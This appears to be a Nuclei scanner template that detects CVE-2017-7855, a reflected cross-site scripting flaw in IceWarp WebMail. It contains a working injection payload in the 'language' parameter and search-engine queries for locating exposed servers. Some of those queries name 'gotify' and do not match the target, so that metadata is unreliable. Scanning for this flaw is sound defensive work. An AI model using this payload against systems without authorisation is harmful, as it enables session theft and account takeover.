id: CVE-2017-7855

info:
  name: IceWarp WebMail 11.3.1.5 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    IceWarp WebMail 11.3.1.5 is vulnerable to cross-site scripting via the language parameter.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: Apply the latest security patch or upgrade to a non-vulnerable version of IceWarp WebMail.
  reference:
    - https://technical.nttsecurity.com/post/102eegq/cookies-are-delicious
    - https://nvd.nist.gov/vuln/detail/CVE-2017-7855
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-7855
    cwe-id: CWE-79
    epss-score: 0.00545
    epss-percentile: 0.67989
    cpe: cpe:2.3:a:icewarp:server:11.3.1.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: icewarp
    product: server
    shodan-query:
      - title:"icewarp"
      - http.title:"gotify"
    fofa-query: title="gotify"
    google-query: intitle:"gotify"
  tags: cve,cve2017,xss,icewarp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'lang=""><img src=x onerror=alert(document.domain)>'
          - 'IceWarp'
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a00463044022054144fc385d72c043ee1a7d0286801dfd70d85fa0a9bb56b5243d1aa2464da1002207b3d793e2e26b482004e15a2e88d4a9681df8a0fa9cb6a068a32428eab4ffa01:922c64590222798bb761d5b6d8e72950